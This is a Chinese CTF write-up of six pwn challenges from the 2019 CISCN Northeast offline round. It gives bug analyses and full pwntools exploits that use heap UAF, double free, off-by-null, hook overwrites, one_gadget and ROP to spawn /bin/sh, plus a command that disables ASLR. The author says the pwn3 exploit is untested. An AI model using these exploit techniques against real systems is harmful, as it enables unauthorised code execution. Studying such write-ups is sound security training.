2019-CISCN-东北赛区线下赛-writeup-PWN

  1. pwn1(比赛中未做出)
    1. 分析
    2. exp
  2. pwn2
    1. 分析
    2. exp
  3. pwn3(比赛中未做出)
    1. 分析
    2. exp
  4. pwn4
    1. 分析
    2. exp
  5. pwn5
    1. 分析
    2. exp
  6. pwn6
    1. 分析
    2. exp

pwn2pwn5为队友做出,pwn4pwn6由我做出,pwn1没做出来,pwn3是赛后反应过来的。

pwn1(比赛中未做出)

分析

逆向量太大了,直接就弃了,不然我怕很耽误时间。最后发现是一个scanf输入时所造成的off-by-null,但是因为结构体有点乱,而且全局指针放在了栈上,所以分析起来过于复杂,所以估计有限时间之内做不上。

有时间会考虑复盘(其实就是鸽了)

exp

pwn2

分析

首先算出用户名:

data = [ord(x) for x in "H@QRPN"]
name = ""
len = len(data)
for i in range(len):
    name += chr(data[i]^len)
    len -= 1
print name

得到:NEUQRO

程序漏洞:

在删除函数中,没有把指针置零,在打印函数中不检查下标,故存在UAF漏洞,可以使用UnsortedBin泄露libc地址。

而且程序使用libc2.27,存在tcache机制,可以double free,再malloc可以改__free_hooksystem

exp

#!/usr/bin/python
from pwn import *
io = remote('10.50.1.2',10004)
# io = process("./babyHeap", aslr=False)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
base = io.libs()["/home/fun/Desktop/pwn/offline_learn/babyHeap"]

def pass_name(name):
    io.sendlineafter("input name\n", name)

def Add(sz, content):
    io.sendlineafter("> \n", "1")
    io.sendlineafter("input the size \n", str(sz))
    io.sendafter("something...\n", content)

def Del(idx):
    io.sendlineafter("> \n", "2")
    io.sendlineafter("input the index\n", str(idx))

def Show(idx):
    io.sendlineafter("> \n", "3")
    io.sendlineafter("input the index\n", str(idx))

if __name__ == "__main__":
    pass_name("NEUQRO")
    for i in range(8):
        Add(0x80, "A"*60)
    Del(0)
    Del(1)
    Del(0)
    Show(1)
    leak1 = io.readline().strip().ljust(8,'\x00')
    heap = u64(leak1) - 0x11e70
    success("heap: 0x%x"%heap)
    for i in range(2, 6):
        Del(i)
    Del(6)
    Del(7)
    Show(6)
    leak2 = io.readline().strip().ljust(8,'\x00')
    libbase = u64(leak2) - 0x3ebca0
    success("libbase: 0x%x"%libbase)


    for i in range(4):
        Add(0x80, "A"*60)

    # gdb.attach(io, "b *0x{:x}".format(base+0x16E9))
    # pause()
    payload = libbase + libc.sym["__free_hook"]
    Add(0x80, p64(payload))
    Add(0x80, "A"*60)
    Add(0x80, "A"*60)

    system = libbase + libc.sym["system"]
    Add(0x80, p64(system))
    Add(0x80, "/bin/sh\x00")
    Del(16)
    io.interactive()

pwn3(比赛中未做出)

分析

输入-1可以造成溢出。

关闭aslr调试:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

虽然没做上,但我还是要写一下,这个确实差一点很可惜,因为看不了F5的代码所以当时有点着急了,其实strtol的函数中的buf是写在bss上的。可以输入-1\x00.....中间加入我们的payload把这个伪造成栈。

退栈的时候使用ecx来恢复栈,第一次通过对最低字节写入,使其泄露libc地址并回到main,第二次的时候把栈直接劫持到bssbuf那里来直接执行system("/bin/sh")即可。

第一次的泄露不一定成功,需要多试几次。

这个exp我也懒得跑了,不保证写的一定对,毕竟没做上-.-。

exp

from pwn import *
context(arch = 'i386' , os = 'linux', log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)


#p = process('./pwn')
#libc = ELF('./libc')

p = remote("10.50.1.2", 10000)
libc = ELF('./libc.so.6')

elf = ELF('./pwn')


def debug(cmd):
    gdb.attach(p, cmd)
    #pause()

#cmd = "b *0x8048795\n"
cmd = "b *0x80487b3"
#debug(cmd)

ru(':')
p.send("a")
ru('password: ')
p.send(str(-1))
ru(':')

pop_ebx = 0x8048431
payload = (p32(elf.plt['puts']) +p32(pop_ebx) +p32(elf.got['__libc_start_main'])+p32(0x80486ea)) * 4
payload += p32(0x80484f0) *2
payload += "\x18"
p.send(payload)

ru('contiune\n')
libc_base = u32(p.recv(4))-libc.symbols['__libc_start_main']
print hex(libc_base)
#p.send("12678")
ru(':')
p.send("a")
ru('password: ')
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
payload2 = "-1\x00" + p32(system) + p32(0) + p32(bin_sh)
p.send(str(-1))
ru(':')

payload3 = "a"*0x48
payload3 += p32(0x804a060+4+3)
#ru(":")
p.send(payload3)
p.interactive()

pwn4

分析

通过Get函数的堆末尾指针泄露得知不是2.27,所以就推测2.23一把梭哈。

Play函数里面当新size和原来的size差10的时候,会造成size+1

__int64 __fastcall sub_E3C(signed int old_size, unsigned int new_size)
{
  __int64 result; // rax

  if ( old_size > (signed int)new_size )
    return new_size;
  if ( new_size - old_size == 10 )
    LODWORD(result) = old_size + 1;
  else
    LODWORD(result) = old_size;
  return (unsigned int)result;
}

所以用off-by-null来造成泄露,同时触发UAF__malloc_hook,然后double free触发即可

exp

from pwn import *
context(arch = 'amd64' , os = 'linux', log_level="debug")
#context.terminal = ['tmux', 'splitw', '-h']

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)


p = process('./pwn')
#p = process('./childpwn')
proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]

#p = remote("10.50.1.2", 10010)
libc = ELF("./libc")

def debug(cmd):
    gdb.attach(p, cmd)
    #pause()

def choice(choice):
    sla('CHOICE: ',str(choice))

def get_t(size):
    choice(1)
    sla('size: ',str(size)) 

def play(index,size,con):
    choice(2)
    sla('index: ',str(index))
    sla("size: ",str(size))
    sa("content: ",con)

def game_over(index):
    choice(3)
    sla('index: ',str(index))

def look(index):
    choice(4)
    sla('index: ',str(index))

#cmd = "set $a=%d\n" %(proc_base+0x202040)
#cmd += "set $b=%d" %(proc_base+0x202048)
#debug(cmd)

get_t(0xc8)  # 0
get_t(0xc8)  # 1
get_t(0x68)  # 2
get_t(0xf8)  # 3
get_t(0x18)  # 4

game_over(0)
play(2,0x68+10,"a"*0x60+p64(0x210)+"\x00")
game_over(3)
get_t(0xc8)  # 0

look(1)
ru('content: ')
leak = u64(ru('\x7f').ljust(8, "\x00"))
libc_base = leak - 0x3c4b78
print hex(libc_base)

get_t(0xc8)  # 3
get_t(0x68)  # 5
game_over(2)
payload = (p64(libc_base+libc.symbols['__malloc_hook']-0x23))*2
play(5, 0x10, payload)

get_t(0x68)
get_t(0x68)

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

play(6, 0x1b, "a"*0x13+p64(libc_base+one[2]))

game_over(1)
game_over(3)
p .interactive()

pwn5

分析

栈溢出题目:

[*] '/home/fun/Desktop/ctf/CISCN2019/pwn/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

首先,用户名直接用strcmp比较administrator。

080488E7处调用的函数,其中:

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}

这其实和printfformat string vlunerable一个道理,会写到栈上第一个参数指向的内存,起gdb调试:

Snipaste_2019-06-23_09-55-10

在这个图中会写到0xfffa190c上。

另外,在0x080486C7的函数上,使用了strcpy,把一个最大长度为128的字符串放到缓冲区为72的地方,存在栈溢出。

直接在这里进行ROP。

system@pltretn_addr“/bin/sh”

这里有一个问题就是"/bin/sh"字符串不太好找,但可以从程序凑出来。

gdb中使用search命令可以找到"sh\x00",其实是0x080482E6地址处的fflush\x00截开。

很简单的payload

payload = 'A'*76 + p32(0x080484d0) + 'BBBB' + p32(0x80482ea)

exp

from pwn import *
context.terminal = ['terminator', '-x', 'sh', '-c']

io= process("./pwn")
# io = remote("10.50.1.2", 10008)
gdb.attach(io, "b *0x080486C7")
io.sendlineafter("password:", "administrator")
io.sendlineafter(":", "1")
payload = 'A'*76 + p32(0x080484d0) + 'BBBB' + p32(0x80482ea)
io.sendlineafter("info:", payload)
io.sendlineafter(":", "4")

io.interactive()

pwn6

分析

Delete的时候出现了问题,判断ptr是否存在,但是没有判断是不是在全局数组里面。

unsigned __int64 sub_12B8()
{
  signed int idx; // [rsp+Ch] [rbp-14h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("index:");
  idx = read_int();
  if ( idx >= 0 && idx <= 9 )
  {
    ptr = *(void **)(16LL * idx + chunk_bss_ptr + 8);
    *(_QWORD *)(16LL * idx + chunk_bss_ptr) = 0LL;
    *(_QWORD *)(16LL * idx + chunk_bss_ptr + 8) = 0LL;
  }
  if ( ptr )
    free(ptr);
  return __readfsqword(0x28u) ^ v3;
}

之前输入的root判断字符串可以正好覆盖到ptr。所以相当于任意地址free

所以先泄露heaplibc,然后任意地址free构造UAF,来写__malloc_hookone_gadget

然后接着用任意地址free来触发double free错误触发malloc即可。

exp

from pwn import *
context(arch = 'amd64' , os = 'linux', log_level="debug")
#context.terminal = ['tmux', 'splitw', '-h']

#p = process('./pwn')
#proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]

p = remote("10.50.1.2", 10006)
elf = ELF('./pwn')
libc = ELF('./lib')

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b) 
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)


def debug(cmd=""):
    gdb.attach(p, cmd)


def root(passwd):
    sla('passwd:', passwd)


def list():
    sla(">> ", "1")


def New(size, ctx):
    sla(">> ", "2")
    root("t1an5t")
    sla('size:', str(size))
    sla("Content:", ctx)


def Edit(idx):
    sla(">> ", "3")
    root("t1an5t")
    sla('index:', str(idx))


def Delete(idx, passwd):
    sla(">> ", "4")
    root(passwd)
    sla('index:', str(idx))


def root2(passwd):
    sa('passwd:', passwd)


def Delete2(idx, passwd):
    sla(">> ", "4")
    root2(passwd)
    sla('index:', str(idx))


#cmd = "set $a=%d\n" %(proc_base+0x202068)
#debug(cmd)
New(0x20, "t1an5t")   # 0
New(0x20, "t1an5t")   # 1
New(0x100, "t1an5t")  # 2
New(0x20, "t1an5t")   # 3

Delete(0, "t1an5t")
Delete(1, "t1an5t")
Delete(2, "t1an5t")

New(0x20, "a")   # 0
New(0x100, "a")  # 1
list()

ru('0: ')
heap_leak = p.recvuntil('\x0a', drop=True).ljust(8, "\x00")
ru("1: ")
libc_leak = p.recvuntil('\x0a', drop=True).ljust(8, "\x00")

heap_base = u64(heap_leak) -0x61
libc_base = u64(libc_leak)- 0x3c4b61
print hex(heap_base)
print hex(libc_base)

New(0x68, "t1an5t")   # 2
New(0x68, "t1an5t")   # 4
New(0x20, "t1an5t")   # 5

Delete(2, "t1an5t")
Delete(4, "t1an5t")
Delete2(20, "\x00" * 0x20 + p64(heap_base+0x260))

New(0x68, p64(libc_base+libc.symbols['__malloc_hook']-0x23))   # 2
New(0x68, "t1an5t")   # 4
New(0x68, "t1an5t")   # 5

one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
New(0x68, "a"*0x13+p64(libc_base+one[2]))   # 5

Delete(0, "t1an5t")
Delete2(20, "\x00" * 0x20 + p64(heap_base+0xf0))
p.interactive()

connect 1037178204@qq.com

文章标题:2019-CISCN-东北赛区线下赛-writeup-PWN

本文作者:t1an5t

发布时间:2019-06-23, 21:13:37

最后更新:2020-02-29, 21:54:46

原始链接:http://yoursite.com/2019-CISCN-%E4%B8%9C%E5%8C%97%E8%B5%9B%E5%8C%BA%E7%BA%BF%E4%B8%8B%E8%B5%9B-writeup-PWN/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录